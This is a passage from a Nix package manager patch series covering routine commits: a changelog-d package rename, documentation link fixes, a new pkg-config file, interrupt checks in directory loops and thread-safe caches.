-
           nix =
             let
               officialRelease = false;
@@ -224,7 +222,7 @@
         rl-next =
           let pkgs = nixpkgsFor.${system}.native;
           in pkgs.buildPackages.runCommand "test-rl-next-release-notes" { } ''
-          LANG=C.UTF-8 ${pkgs.changelog-d-nix}/bin/changelog-d ${./doc/manual/rl-next} >$out
+          LANG=C.UTF-8 ${pkgs.changelog-d}/bin/changelog-d ${./doc/manual/rl-next} >$out
         '';
         repl-completion = nixpkgsFor.${system}.native.callPackage ./tests/repl-completion.nix { };
       } // (lib.optionalAttrs (builtins.elem system linux64BitSystems)) {
@@ -238,7 +236,7 @@
       );
 
       packages = forAllSystems (system: rec {
-        inherit (nixpkgsFor.${system}.native) nix changelog-d-nix;
+        inherit (nixpkgsFor.${system}.native) nix changelog-d;
         default = nix;
       } // (lib.optionalAttrs (builtins.elem system linux64BitSystems) {
         nix-static = nixpkgsFor.${system}.static.nix;
diff --git a/maintainers/release-notes b/maintainers/release-notes
index 2d84485c173..0fca5abf27e 100755
--- a/maintainers/release-notes
+++ b/maintainers/release-notes
@@ -1,5 +1,5 @@
 #!/usr/bin/env nix
-#!nix shell .#changelog-d-nix --command bash
+#!nix shell .#changelog-d --command bash
 
 # --- CONFIGURATION ---
 
diff --git a/misc/changelog-d.cabal.nix b/misc/changelog-d.cabal.nix
deleted file mode 100644
index 76f9353cd5d..00000000000
--- a/misc/changelog-d.cabal.nix
+++ /dev/null
@@ -1,31 +0,0 @@
-{ mkDerivation, aeson, base, bytestring, cabal-install-parsers
-, Cabal-syntax, containers, directory, filepath, frontmatter
-, generic-lens-lite, lib, mtl, optparse-applicative, parsec, pretty
-, regex-applicative, text, pkgs
-}:
-let rev = "f30f6969e9cd8b56242309639d58acea21c99d06";
-in
-mkDerivation {
-  pname = "changelog-d";
-  version = "0.1";
-  src = pkgs.fetchurl {
-    name = "changelog-d-${rev}.tar.gz";
-    url = "https://codeberg.org/roberth/changelog-d/archive/${rev}.tar.gz";
-    hash = "sha256-8a2+i5u7YoszAgd5OIEW0eYUcP8yfhtoOIhLJkylYJ4=";
-  } // { inherit rev; };
-  isLibrary = false;
-  isExecutable = true;
-  libraryHaskellDepends = [
-    aeson base bytestring cabal-install-parsers Cabal-syntax containers
-    directory filepath frontmatter generic-lens-lite mtl parsec pretty
-    regex-applicative text
-  ];
-  executableHaskellDepends = [
-    base bytestring Cabal-syntax directory filepath
-    optparse-applicative
-  ];
-  doHaddock = false;
-  description = "Concatenate changelog entries into a single one";
-  license = lib.licenses.gpl3Plus;
-  mainProgram = "changelog-d";
-}
diff --git a/misc/changelog-d.nix b/misc/changelog-d.nix
deleted file mode 100644
index 1b20f4596f6..00000000000
--- a/misc/changelog-d.nix
+++ /dev/null
@@ -1,31 +0,0 @@
-# Taken temporarily from <nixpkgs/pkgs/by-name/ch/changelog-d/package.nix>
-{
-  callPackage,
-  lib,
-  haskell,
-  haskellPackages,
-}:
-
-let
-  hsPkg = haskellPackages.callPackage ./changelog-d.cabal.nix { };
-
-  addCompletions = haskellPackages.generateOptparseApplicativeCompletions ["changelog-d"];
-
-  haskellModifications =
-    lib.flip lib.pipe [
-      addCompletions
-      haskell.lib.justStaticExecutables
-    ];
-
-  mkDerivationOverrides = finalAttrs: oldAttrs: {
-
-    version = oldAttrs.version + "-git-${lib.strings.substring 0 7 oldAttrs.src.rev}";
-
-    meta = oldAttrs.meta // {
-      homepage = "https://codeberg.org/roberth/changelog-d";
-      maintainers = [ lib.maintainers.roberth ];
-    };
-
-  };
-in
-  (haskellModifications hsPkg).overrideAttrs mkDerivationOverrides

From 5d460d563e057957e9089302cdf59bd32352f028 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 18:09:38 +0200
Subject: [PATCH 265/528] TMP: Disable tests.setuid.i686-linux

Temporarily(?) blocked on https://github.com/NixOS/nixpkgs/pull/297475#issuecomment-2145589501
---
 tests/nixos/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index d8531b2c85c..710f8a2731a 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -124,7 +124,7 @@ in
   containers = runNixOSTestFor "x86_64-linux" ./containers/containers.nix;
 
   setuid = lib.genAttrs
-    ["i686-linux" "x86_64-linux"]
+    ["x86_64-linux"]
     (system: runNixOSTestFor system ./setuid.nix);
 
   fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;

From 9019b7a37a7e1ef8ede59a8a643286189069bdb5 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 18:56:04 +0200
Subject: [PATCH 266/528] doc/rl-2.23.md: Fix broken link

---
 doc/manual/src/release-notes/rl-2.23.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md
index 0f799c1df16..71dc4a91a57 100644
--- a/doc/manual/src/release-notes/rl-2.23.md
+++ b/doc/manual/src/release-notes/rl-2.23.md
@@ -14,7 +14,7 @@
 
 - Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722)
 
-  The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json).
+  The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/contributing/cli-guideline#returning-future-proof-json).
   In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`,
   rather than one field with an arcane `:`-separated format.
 

From e0885fc216b51dbea5f589d2b5c593be6ae91805 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 3 Jun 2024 20:01:15 +0200
Subject: [PATCH 267/528] Fix link

---
 doc/manual/src/release-notes/rl-2.23.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md
index 71dc4a91a57..3c59b85838f 100644
--- a/doc/manual/src/release-notes/rl-2.23.md
+++ b/doc/manual/src/release-notes/rl-2.23.md
@@ -14,7 +14,7 @@
 
 - Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722)
 
-  The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/contributing/cli-guideline#returning-future-proof-json).
+  The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/contributing/cli-guideline.md#returning-future-proof-json).
   In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`,
   rather than one field with an arcane `:`-separated format.
 

From 06be6812a674e23abc9e24fa2fbd7a7c20684c74 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 3 Jun 2024 14:08:37 -0400
Subject: [PATCH 268/528] Create and install a `nix-util.pc`

Before, `-lnixutil` was just stuck in `nix-store.pc`, but that doesn't
seem so nice.

This prepares us to distribute `libnixutil` in a separate package if we
want, but it should be a good change either way. I suspect it wasn't
done before because libutil was an extra unstable interface, but I don't
think we need worry about that. *All* the C++ is less stable than the C
(or that's the goal at least).

For what it's worth, Lix also created this pkg-config file *en passant*
during their rename:
https://git.lix.systems/lix-project/lix/commit/c97e17144e0d0b666d7b79d8b4b0d581bfdf373b#diff-3c4f60cc44a0e35444c7f45331cfa50f76637118
---
 src/libstore/nix-store.pc.in | 3 ++-
 src/libutil/local.mk         | 2 ++
 src/libutil/nix-util.pc.in   | 9 +++++++++
 3 files changed, 13 insertions(+), 1 deletion(-)
 create mode 100644 src/libutil/nix-util.pc.in

diff --git a/src/libstore/nix-store.pc.in b/src/libstore/nix-store.pc.in
index dc42d0bca2a..cd3f2b8dad2 100644
--- a/src/libstore/nix-store.pc.in
+++ b/src/libstore/nix-store.pc.in
@@ -5,5 +5,6 @@ includedir=@includedir@
 Name: Nix
 Description: Nix Package Manager
 Version: @PACKAGE_VERSION@
-Libs: -L${libdir} -lnixstore -lnixutil
+Requires: nix-util
+Libs: -L${libdir} -lnixstore
 Cflags: -I${includedir}/nix -std=c++2a
diff --git a/src/libutil/local.mk b/src/libutil/local.mk
index 5cd8d4ac8d8..e9b498e65ad 100644
--- a/src/libutil/local.mk
+++ b/src/libutil/local.mk
@@ -40,3 +40,5 @@ $(foreach i, $(wildcard $(d)/signature/*.hh), \
 ifeq ($(HAVE_LIBCPUID), 1)
   libutil_LDFLAGS += -lcpuid
 endif
+
+$(eval $(call install-file-in, $(buildprefix)$(d)/nix-util.pc, $(libdir)/pkgconfig, 0644))
diff --git a/src/libutil/nix-util.pc.in b/src/libutil/nix-util.pc.in
new file mode 100644
index 00000000000..85bb1e70eba
--- /dev/null
+++ b/src/libutil/nix-util.pc.in
@@ -0,0 +1,9 @@
+prefix=@prefix@
+libdir=@libdir@
+includedir=@includedir@
+
+Name: Nix
+Description: Nix Package Manager
+Version: @PACKAGE_VERSION@
+Libs: -L${libdir} -lnixutil
+Cflags: -I${includedir}/nix -std=c++2a

From bf72b78ef2110f4bda6105b8adff131dc9435bff Mon Sep 17 00:00:00 2001
From: Eli Flanagan <163922304+eflanagan0@users.noreply.github.com>
Date: Mon, 3 Jun 2024 17:22:50 -0400
Subject: [PATCH 269/528] docs: fix python nix-shell example (#10841)

* docs: fix python nix-shell example

This Python code snippet depended on Python 2 which has been marked as insecure in 24.05.

I modernized the example so new users will not be surprised upon copying and pasting the snippet for exploration.

Co-authored-by: John Ericson <git@JohnEricson.me>
---
 doc/manual/src/command-ref/nix-shell.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md
index 1eaf3c36aa7..a4dd051fca9 100644
--- a/doc/manual/src/command-ref/nix-shell.md
+++ b/doc/manual/src/command-ref/nix-shell.md
@@ -202,14 +202,14 @@ For example, here is a Python script that depends on Python and the
 
 ```python
 #! /usr/bin/env nix-shell
-#! nix-shell -i python --packages python pythonPackages.prettytable
+#! nix-shell -i python3 --packages python3 python3Packages.prettytable
 
 import prettytable
 
 # Print a simple table.
 t = prettytable.PrettyTable(["N", "N^2"])
 for n in range(1, 10): t.add_row([n, n * n])
-print t
+print(t)
 ```
 
 Similarly, the following is a Perl script that specifies that it

From 214051ba79b990db363cef7f5d892d8b2a6d516f Mon Sep 17 00:00:00 2001
From: Philipp <philipp.zander@tweag.io>
Date: Tue, 4 Jun 2024 09:41:04 +0200
Subject: [PATCH 270/528] clarify not on `nix_value_force` (#10842)

* clarify not on `nix_value_force`

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 src/libexpr-c/nix_api_expr.h | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 0d324b1489b..13787271bce 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -129,8 +129,7 @@ nix_err nix_value_call_multi(
  *
  * This function converts these Values into their final type.
  *
- * @note You don't need this function for basic API usage very often, since all functions that return a `Value` call it
- * for you. This function is mainly needed before calling @ref getters.
+ * @note This function is mainly needed before calling @ref getters, but not for API calls that return a `Value`.
  *
  * @param[out] context Optional, stores error information
  * @param[in] state The state of the evaluation.

From 65884201035a3771040d462538072b2d7a0a2c63 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 4 Jun 2024 10:17:58 +0200
Subject: [PATCH 271/528] Bring back FreeBSD

---
 flake.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/flake.nix b/flake.nix
index a146079f48e..5dbc554fc2b 100644
--- a/flake.nix
+++ b/flake.nix
@@ -46,6 +46,7 @@
         "armv7l-unknown-linux-gnueabihf"
         "riscv64-unknown-linux-gnu"
         "x86_64-unknown-netbsd"
+        "x86_64-unknown-freebsd"
         "x86_64-w64-mingw32"
       ];
 

From 4e0d058fc314d7fabeef97e9193b493e975ca6db Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 4 Jun 2024 10:18:22 +0200
Subject: [PATCH 272/528] eval.cc: Fix for Windows

---
 src/libexpr/eval.cc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 1eb60a1b851..7c676829eac 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -31,7 +31,6 @@
 #include <sstream>
 #include <cstring>
 #include <optional>
-#include <pthread.h>
 #include <unistd.h>
 #include <sys/time.h>
 #include <fstream>
@@ -48,6 +47,8 @@
 
 #define GC_INCLUDE_NEW
 
+#include <pthread.h>
+
 #include <gc/gc.h>
 #include <gc/gc_cpp.h>
 #include <gc/gc_allocator.h>

From 8f1a26667e7c5aeac5522ae706cf511b2d725eaa Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Tue, 4 Jun 2024 19:35:40 +0530
Subject: [PATCH 273/528] add call to `checkInterrupt` in a bunch of places

This brings back the old behaviour. We check for interrupts in places
that may iterate over wide directories.
---
 src/libcmd/repl.cc                       | 1 +
 src/libstore/builtins/buildenv.cc        | 2 ++
 src/libstore/gc.cc                       | 5 ++++-
 src/libstore/globals.cc                  | 6 +++++-
 src/libstore/local-binary-cache-store.cc | 2 ++
 src/libstore/local-store.cc              | 2 ++
 src/libstore/posix-fs-canonicalise.cc    | 4 +++-
 src/libstore/profiles.cc                 | 2 ++
 src/libutil/linux/cgroup.cc              | 2 ++
 src/libutil/posix-source-accessor.cc     | 1 +
 src/libutil/unix/file-descriptor.cc      | 1 +
 src/nix/flake.cc                         | 2 ++
 src/nix/run.cc                           | 2 ++
 13 files changed, 29 insertions(+), 3 deletions(-)

diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index a069dd52cb8..603a543bc48 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -260,6 +260,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix)
             auto dir = std::string(cur, 0, slash);
             auto prefix2 = std::string(cur, slash + 1);
             for (auto & entry : std::filesystem::directory_iterator{dir == "" ? "/" : dir}) {
+                checkInterrupt();
                 auto name = entry.path().filename().string();
                 if (name[0] != '.' && hasPrefix(name, prefix2))
                     completions.insert(prev + entry.path().string());
diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc
index ab35c861d34..0f7bcd99b1c 100644
--- a/src/libstore/builtins/buildenv.cc
+++ b/src/libstore/builtins/buildenv.cc
@@ -1,5 +1,6 @@
 #include "buildenv.hh"
 #include "derivations.hh"
+#include "signals.hh"
 
 #include <sys/stat.h>
 #include <sys/types.h>
@@ -30,6 +31,7 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir,
     }
 
     for (const auto & ent : srcFiles) {
+        checkInterrupt();
         auto name = ent.path().filename();
         if (name.string()[0] == '.')
             /* not matched by glob */
diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc
index 8286dff271d..c6ecbd78355 100644
--- a/src/libstore/gc.cc
+++ b/src/libstore/gc.cc
@@ -162,6 +162,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor)
     /* Read the `temproots' directory for per-process temporary root
        files. */
     for (auto & i : std::filesystem::directory_iterator{tempRootsDir}) {
+        checkInterrupt();
         auto name = i.path().filename().string();
         if (name[0] == '.') {
             // Ignore hidden files. Some package managers (notably portage) create
@@ -228,8 +229,10 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R
             type = std::filesystem::symlink_status(path).type();
 
         if (type == std::filesystem::file_type::directory) {
-            for (auto & i : std::filesystem::directory_iterator{path})
+            for (auto & i : std::filesystem::directory_iterator{path}) {
+                checkInterrupt();
                 findRoots(i.path().string(), i.symlink_status().type(), roots);
+            }
         }
 
         else if (type == std::filesystem::file_type::symlink) {
diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc
index d9cab2fb8bf..88f899dbf70 100644
--- a/src/libstore/globals.cc
+++ b/src/libstore/globals.cc
@@ -4,6 +4,7 @@
 #include "args.hh"
 #include "abstract-setting-to-json.hh"
 #include "compute-levels.hh"
+#include "signals.hh"
 
 #include <algorithm>
 #include <map>
@@ -346,14 +347,17 @@ void initPlugins()
         std::vector<std::filesystem::path> pluginFiles;
         try {
             auto ents = std::filesystem::directory_iterator{pluginFile};
-            for (const auto & ent : ents)
+            for (const auto & ent : ents) {
+                checkInterrupt();
                 pluginFiles.emplace_back(ent.path());
+            }
         } catch (std::filesystem::filesystem_error & e) {
             if (e.code() != std::errc::not_a_directory)
                 throw;
             pluginFiles.emplace_back(pluginFile);
         }
         for (const auto & file : pluginFiles) {
+            checkInterrupt();
             /* handle is purposefully leaked as there may be state in the
                DSO needed by the action of the plugin. */
 #ifndef _WIN32 // TODO implement via DLL loading on Windows
diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc
index 87a6026f1af..dde25937ce9 100644
--- a/src/libstore/local-binary-cache-store.cc
+++ b/src/libstore/local-binary-cache-store.cc
@@ -1,6 +1,7 @@
 #include "binary-cache-store.hh"
 #include "globals.hh"
 #include "nar-info-disk-cache.hh"
+#include "signals.hh"
 
 #include <atomic>
 
@@ -84,6 +85,7 @@ class LocalBinaryCacheStore : public virtual LocalBinaryCacheStoreConfig, public
         StorePathSet paths;
 
         for (auto & entry : std::filesystem::directory_iterator{binaryCacheDir}) {
+            checkInterrupt();
             auto name = entry.path().filename().string();
             if (name.size() != 40 ||
                 !hasSuffix(name, ".narinfo"))
diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index dd06e5b6579..cbe3c6fe836 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -1407,6 +1407,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
         printInfo("checking link hashes...");
 
         for (auto & link : std::filesystem::directory_iterator{linksDir}) {
+            checkInterrupt();
             auto name = link.path().filename();
             printMsg(lvlTalkative, "checking contents of '%s'", name);
             PosixSourceAccessor accessor;
@@ -1499,6 +1500,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair
        invalid states.
      */
     for (auto & i : std::filesystem::directory_iterator{realStoreDir.to_string()}) {
+        checkInterrupt();
         try {
             storePathsInStoreDir.insert({i.path().filename().string()});
         } catch (BadStorePath &) { }
diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc
index d8bae13f5f9..8cb13d81038 100644
--- a/src/libstore/posix-fs-canonicalise.cc
+++ b/src/libstore/posix-fs-canonicalise.cc
@@ -144,13 +144,15 @@ static void canonicalisePathMetaData_(
 #endif
 
     if (S_ISDIR(st.st_mode)) {
-        for (auto & i : std::filesystem::directory_iterator{path})
+        for (auto & i : std::filesystem::directory_iterator{path}) {
+            checkInterrupt();
             canonicalisePathMetaData_(
                 i.path().string(),
 #ifndef _WIN32
                 uidRange,
 #endif
                 inodesSeen);
+        }
     }
 }
 
diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc
index d0da9626213..46efedfe327 100644
--- a/src/libstore/profiles.cc
+++ b/src/libstore/profiles.cc
@@ -1,4 +1,5 @@
 #include "profiles.hh"
+#include "signals.hh"
 #include "store-api.hh"
 #include "local-fs-store.hh"
 #include "users.hh"
@@ -38,6 +39,7 @@ std::pair<Generations, std::optional<GenerationNumber>> findGenerations(Path pro
     auto profileName = std::string(baseNameOf(profile));
 
     for (auto & i : std::filesystem::directory_iterator{profileDir}) {
+        checkInterrupt();
         if (auto n = parseName(profileName, i.path().filename().string())) {
             auto path = i.path().string();
             gens.push_back({
diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc
index ec407747813..140ff45668a 100644
--- a/src/libutil/linux/cgroup.cc
+++ b/src/libutil/linux/cgroup.cc
@@ -1,4 +1,5 @@
 #include "cgroup.hh"
+#include "signals.hh"
 #include "util.hh"
 #include "file-system.hh"
 #include "finally.hh"
@@ -65,6 +66,7 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu
     /* Otherwise, manually kill every process in the subcgroups and
        this cgroup. */
     for (auto & entry : std::filesystem::directory_iterator{cgroup}) {
+        checkInterrupt();
         if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue;
         destroyCgroup(cgroup / entry.path().filename(), false);
     }
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index 225fc852caf..bcf453cbae5 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -133,6 +133,7 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath &
     assertNoSymlinks(path);
     DirEntries res;
     for (auto & entry : std::filesystem::directory_iterator{makeAbsPath(path)}) {
+        checkInterrupt();
         auto type = [&]() -> std::optional<Type> {
             std::filesystem::file_type nativeType;
             try {
diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc
index 84a33af8181..a74f16ce14d 100644
--- a/src/libutil/unix/file-descriptor.cc
+++ b/src/libutil/unix/file-descriptor.cc
@@ -125,6 +125,7 @@ void closeMostFDs(const std::set<int> & exceptions)
 #if __linux__
     try {
         for (auto & s : std::filesystem::directory_iterator{"/proc/self/fd"}) {
+            checkInterrupt();
             auto fd = std::stoi(s.path().filename());
             if (!exceptions.count(fd)) {
                 debug("closing leaked FD %d", fd);
diff --git a/src/nix/flake.cc b/src/nix/flake.cc
index 78a8a55c33c..feacdbcb331 100644
--- a/src/nix/flake.cc
+++ b/src/nix/flake.cc
@@ -7,6 +7,7 @@
 #include "eval-settings.hh"
 #include "flake/flake.hh"
 #include "get-drvs.hh"
+#include "signals.hh"
 #include "store-api.hh"
 #include "derivations.hh"
 #include "outputs-spec.hh"
@@ -867,6 +868,7 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand
             createDirs(to);
 
             for (auto & entry : std::filesystem::directory_iterator{from}) {
+                checkInterrupt();
                 auto from2 = entry.path().string();
                 auto to2 = to + "/" + entry.path().filename().string();
                 auto st = lstat(from2);
diff --git a/src/nix/run.cc b/src/nix/run.cc
index cc999ddf4f4..1ecc83fbaab 100644
--- a/src/nix/run.cc
+++ b/src/nix/run.cc
@@ -3,6 +3,7 @@
 #include "command-installable-value.hh"
 #include "common-args.hh"
 #include "shared.hh"
+#include "signals.hh"
 #include "store-api.hh"
 #include "derivations.hh"
 #include "local-fs-store.hh"
@@ -249,6 +250,7 @@ void chrootHelper(int argc, char * * argv)
             throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir);
 
         for (auto entry : std::filesystem::directory_iterator{"/"}) {
+            checkInterrupt();
             auto src = entry.path().string();
             Path dst = tmpDir + "/" + entry.path().filename().string();
             if (pathExists(dst)) continue;

From 7d295c594e1d100c9dcbdd89198eb3882856cfcb Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 4 Jun 2024 16:05:56 +0200
Subject: [PATCH 274/528] Make EvalState::srcToStore thread-safe

---
 src/libexpr/eval.cc | 8 ++++----
 src/libexpr/eval.hh | 2 +-
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 6a38bbe4599..7dbb467e508 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -2415,10 +2415,10 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat
     if (nix::isDerivation(path.path.abs()))
         error<EvalError>("file names are not allowed to end in '%1%'", drvExtension).debugThrow();
 
-    auto i = srcToStore.find(path);
+    auto dstPathCached = get(*srcToStore.lock(), path);
 
-    auto dstPath = i != srcToStore.end()
-        ? i->second
+    auto dstPath = dstPathCached
+        ? *dstPathCached
         : [&]() {
             auto dstPath = fetchToStore(
                 *store,
@@ -2429,7 +2429,7 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat
                 nullptr,
                 repair);
             allowPath(dstPath);
-            srcToStore.insert_or_assign(path, dstPath);
+            srcToStore.lock()->try_emplace(path, dstPath);
             printMsg(lvlChatty, "copied source '%1%' -> '%2%'", path, store->printStorePath(dstPath));
             return dstPath;
         }();
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index 06a687620d7..dac763268e4 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -306,7 +306,7 @@ private:
 
     /* Cache for calls to addToStore(); maps source paths to the store
        paths. */
-    std::map<SourcePath, StorePath> srcToStore;
+    Sync<std::map<SourcePath, StorePath>> srcToStore;
 
     /**
      * A cache from path names to parse trees.

From fbbca59453fcbc91ff63256b617523b5962b28f8 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 31 May 2024 19:18:38 +0200
Subject: [PATCH 275/528] Make RegexCache thread-safe

---
 src/libexpr/primops.cc | 20 +++++++++++++-------
 1 file changed, 13 insertions(+), 7 deletions(-)

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 22d7f188fe8..9177b0a2f3e 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -4062,17 +4062,23 @@ static RegisterPrimOp primop_convertHash({
 
 struct RegexCache
 {
-    // TODO use C++20 transparent comparison when available
-    std::unordered_map<std::string_view, std::regex> cache;
-    std::list<std::string> keys;
+    struct State
+    {
+        // TODO use C++20 transparent comparison when available
+        std::unordered_map<std::string_view, std::regex> cache;
+        std::list<std::string> keys;
+    };
+
+    Sync<State> state_;
 
     std::regex get(std::string_view re)
     {
-        auto it = cache.find(re);
-        if (it != cache.end())
+        auto state(state_.lock());
+        auto it = state->cache.find(re);
+        if (it != state->cache.end())
             return it->second;
-        keys.emplace_back(re);
-        return cache.emplace(keys.back(), std::regex(keys.back(), std::regex::extended)).first->second;
+        state->keys.emplace_back(re);
+        return state->cache.emplace(state->keys.back(), std::regex(state->keys.back(), std::regex::extended)).first->second;
     }
 };
 

From 49c6f349116918d052a01b3c13cecbeaeeae657c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <Mic92@users.noreply.github.com>
Date: Tue, 4 Jun 2024 21:55:05 +0200
Subject: [PATCH 276/528] docs: fixup description of builtins.importNative
 (#10810)

There was an argument missing and the fact that the imported function is
called.
---
 src/libexpr/eval-settings.hh | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh
index f1fb539bd25..d01de980fa4 100644
--- a/src/libexpr/eval-settings.hh
+++ b/src/libexpr/eval-settings.hh
@@ -19,18 +19,18 @@ struct EvalSettings : Config
         Enable built-in functions that allow executing native code.
 
         In particular, this adds:
-        - `builtins.importNative` *path*
-        
-          Load a dynamic shared object (DSO) at *path* which exposes a function pointer to a procedure that initialises a Nix language value, and return that value.
-          The procedure must have the following signature:
+        - `builtins.importNative` *path* *symbol*
+
+          Opens dynamic shared object (DSO) at *path*, loads the function with the symbol name *symbol* from it and runs it.
+          The loaded function must have the following signature:
           ```cpp
           extern "C" typedef void (*ValueInitialiser) (EvalState & state, Value & v);
-          ``` 
-          
+          ```
+
           The [Nix C++ API documentation](@docroot@/contributing/documentation.md#api-documentation) has more details on evaluator internals.
-          
+
         - `builtins.exec` *arguments*
-        
+
           Execute a program, where *arguments* are specified as a list of strings, and parse its output as a Nix expression.
     )"};
 

From 80ba7778e730eccc1afff5a8f53887001bd4ee78 Mon Sep 17 00:00:00 2001
From: Enno Richter <enno@nerdworks.de>
Date: Wed, 5 Jun 2024 07:31:18 +0200
Subject: [PATCH 277/528] flake check: Recognize well known
 homeModule/homeModules attributes

---
 src/nix/flake.cc | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/src/nix/flake.cc b/src/nix/flake.cc
index 755ead19f42..fb7ea621124 100644
--- a/src/nix/flake.cc
+++ b/src/nix/flake.cc
@@ -771,6 +771,8 @@ struct CmdFlakeCheck : FlakeCommand
                             || name == "flakeModules"
                             || name == "herculesCI"
                             || name == "homeConfigurations"
+                            || name == "homeModule"
+                            || name == "homeModules"
                             || name == "nixopsConfigurations"
                             )
                             // Known but unchecked community attribute

From d2eeabf3e68f65493a8bfeb2ba762c37fcf60e15 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 5 Jun 2024 16:17:24 +0200
Subject: [PATCH 278/528] PackageInfo::queryDrvPath(): Don't dereference an
 empty optional

Fixes a regression introduced in f923ed6b6a7318e8fc77e8d3aeda6796671f67cb.

https://hydra.nixos.org/build/262267313
---
 src/libexpr/get-drvs.cc | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc
index ed16a51a1eb..0d2aecc58f2 100644
--- a/src/libexpr/get-drvs.cc
+++ b/src/libexpr/get-drvs.cc
@@ -82,8 +82,7 @@ std::optional<StorePath> PackageInfo::queryDrvPath() const
         } else
             drvPath = {std::nullopt};
     }
-    drvPath.value_or(std::nullopt);
-    return *drvPath;
+    return drvPath.value_or(std::nullopt);
 }
 
 

From 3e72ed9743a74f210e9dd493c914a2190345751f Mon Sep 17 00:00:00 2001
